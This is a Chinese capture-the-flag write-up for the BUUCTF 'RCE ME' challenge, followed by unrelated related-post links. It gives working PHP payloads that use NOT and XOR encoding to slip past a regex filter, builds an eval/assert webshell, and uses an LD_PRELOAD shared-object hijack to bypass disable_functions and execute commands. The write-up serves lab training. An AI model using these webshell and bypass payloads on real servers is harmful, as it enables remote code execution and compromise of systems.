BUUCTF:[极客大挑战 2019]RCE ME
这题和我这篇文章内容相关:关于PHP正则的一些绕过方法
绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,我上面那篇文章里面的也可以,我这里直接用取反urlencode编码绕过
PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator> payload: ?code=(~%8F%97%8F%96%91%99%90)();
成功绕过之后发现,这个disable_functions禁用的系统函数有点多
禁用的函数:
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,
exec,
shell_exec,
popen,proc_open,
passthru,
symlink,
link,
syslog,
imap_open,ld,dl
先构造一个shell连上蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;?>
payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
检验shell有效
上蚁剑
需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell,所以这里需要绕过这个disable_functions执行命令
利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403
EXP地址
在/var/tmp/目录存在上传权限,上传我们的exp
然后需要重新再构造一下payload,我这就直接用网上的异或payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
即为
?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])
包含我们的exp执行命令
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
执行得到flag
BUUCTF:[极客大挑战 2019]RCE ME相关推荐
- BUUCTF [极客大挑战 2019] PHP
BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章 判断应该存在备份文件:www.zip 下载得到源 ...
- [极客大挑战 2019]RCE ME 1
[极客大挑战 2019]RCE ME 1 首先打开题目得到: 发现是代码审计 传入的code不能大于40 并且不能包含a到z的大小写字符和1到10的数字 我们可以通过不在这个字符集里的字符进行绕过 可 ...
- BUUCTF——[极客大挑战 2019]Havefun 1
这道题是19年的极客挑战的题,这道题整体来说,额,很简单,而且这个猫猫感觉好乖哦~!好了,进入环境 进入环境后可以看见这个界面,啧,说实话感觉没啥用,因为什么有用的价值都没有,所以老规矩,看一下它的源 ...
- 【BUUCTF】[极客大挑战 2019]RCE ME
源码 <?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40) ...
- [极客大挑战 2019]RCE ME
知识点 无字母数字RCE 绕过disable_functions WP 首先进入环境审一下代码: <?php error_reporting(0); if(isset($_GET['code'] ...
- [BUUCTF][极客大挑战 2019]Http
思路 浏览网站发现没什么地方可以点的,那就检查元素发现可疑路径 添加Referer头 修改UA 添加XFF头 总结 在CTF中修改http头的操作常有BUUCFT另一题,常用到的值 X-Forward ...
- buuctf [极客大挑战 2019]Http1
目录 知识点补充: 请求行 请求头 请求体 解题过程 知识点补充: 这道题,主要是对于http请求报文的考察.(参考(37条消息) http请求报文详解_石硕页的博客-CSDN博客_http请求报文) ...
- BUUCTF:[极客大挑战 2019]Havefun
1.F12后将源码翻到底,发现GET: 2.传入?cat=dog: 3.获得flag.
- BUUCTF [极客大挑战 2019]LoveSQL 1
#和- - 表示注释,url中的#号是用来指导浏览器动作的,对服务器端无用.所以http请求中不包括#,因此使用#无法表示注入,- -(空格)在传输过程中空格会被忽略,导致无法注释 可以使用–+的方式 ...
最新文章
- 解锁新姿势 |如何利用配置中心规范构建PaaS服务配置
- 中国科技大学校长朱清时:我的两次“错误”选择
- 点击链接如何直接跳转到相对应的聊天窗口
- Pandas最详细教程来了!
- FPGA、DSP、ARM能力值对比
- 使用react写cNode项目初期------环境的配置
- OKR工作法学习心得
- puts 和 printf %s
- 2021最新 python爬取12306列车信息自动抢票并自动识别验证码(三)购票篇
- 【便签纸】记录一次Linux服务器上通过sftp上传文件时的错误
- Kafka SASL/PLAIN加密 及Kafka-Python整合
- assaasasas
- IT管理体系——战略、管理和服务
- MATLAB下载遇到的问题:弹出DVD1并插入DVD2
- 深度学习目标检测---使用yolov5训练自己的数据集模型(Windows系统)
- 人工神经网络 :模糊神经网络
- c#中如何将一维数组转换为字符串
- ubuntu ufw firewall防火墙端口设置 (防火墙的的开启、禁用、开放端口、关闭端口、重置、重启...)
- MySQL21个表设计的经验准则(上)
- 箩筐与比亚迪建立合作伙伴关系;空气产品与沙特50亿美元建世界级绿色氢工厂 | 美通企业日报...